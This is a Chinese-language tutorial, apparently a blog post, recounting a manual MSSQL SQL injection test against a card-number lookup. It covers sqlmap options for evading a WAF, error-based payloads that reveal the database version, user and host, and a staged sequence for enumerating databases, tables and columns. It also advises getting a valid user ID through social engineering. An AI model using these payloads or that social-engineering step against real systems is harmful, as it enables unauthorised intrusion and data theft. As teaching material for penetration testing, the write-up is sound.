一次"走进误区"的SQL注入
字数 939 2025-08-29 08:32:24
MSSQL注入实战:从误区到突破
0x00 背景介绍
这是一次典型的MSSQL注入测试经历,作者通过自身实践展示了从工具使用到手工注入的全过程,特别记录了在测试过程中遇到的误区及突破方法。本案例涉及时间盲注、报错注入等技术,并重点分析了"出库不出表"现象的成因及解决方案。
0x01 初步探测
目标系统特征
- 输入号码后系统会发起两个独立查询:
- 检查卡号是否存在(返回0或1)
- 查询卡号对应的个人信息
- 初步判断存在数据库查询操作
自动化工具测试
使用sqlmap时的关键参数:
--delay 10 # 设置请求间隔,避免触发WAF
--time-sec 15 # 时间盲注延时设置
--timeout 20 # 超时设置
--tamper # 使用混淆脚本绕过防护
注意:自动化工具测试未发现注入点,可能原因:
- 自带tamper脚本未能构造有效payload
- 需要更精确的手工测试确定过滤规则
0x02 手工注入过程
数据库类型识别
尝试payload:
'and @@version
' and @@version --
返回语法错误,但通过报错信息可辅助判断数据库类型。
有效payload构造
成功payload:
' and @@version>0 and '1'='1
原理:利用数据库查询优先级,内置函数优先执行
数据库信息收集
确认数据库类型为MSSQL后,使用以下payload收集信息:
and db_name() > 0 and '1'='1 -- 当前数据库名
and user_name()>0 and '1'='1 -- 当前用户名
and @@servername >0 and '1'='1 -- 主机名
0x03 关键突破:AND与OR逻辑差异
现象描述
进行到爆表阶段时,发现无论怎么构造payload都没有回显,疑似"出库不出表"现象。
根本原因分析
-
系统两个查询独立:
- 查询1:检查ID是否存在(返回0或1)
- 查询2:查询ID对应信息(存在则返回数据,不存在返回空数组[])
-
逻辑连接词影响:
- OR连接:无论ID查询结果是0还是1,都会触发后续比较操作
- AND连接:
- ID查询为0 → 整个条件为0,不执行后续比较
- ID查询为1 → 执行后续比较,可能触发报错
解决方案
使用存在的用户ID(可通过社会工程学获取)确保查询1返回1,使AND连接的后续条件能够执行。
0x04 完整注入流程
1. 爆数据库名
and (SELECT top 1 Name FROM Master..SysDatabases) > 0
2. 爆表名
and (select top 1 name from [数据库名].sys.all_objects where type='U' AND is_ms_shipped=0) > 0
3. 爆字段名
and (select top 1 COLUMN_NAME from [数据库名].information_schema.columns where TABLE_NAME='表名') > 0
0x05 经验总结
- 理解查询流程:明确系统各查询环节的独立性及逻辑关系
- 注意连接词选择:AND/OR对注入结果有决定性影响
- 合理使用社会工程学:获取有效ID可大幅提高注入成功率
- 报错信息利用:即使语法错误,报错信息也可能包含有价值线索
- 优先级利用:数据库内置函数执行优先级高于常规查询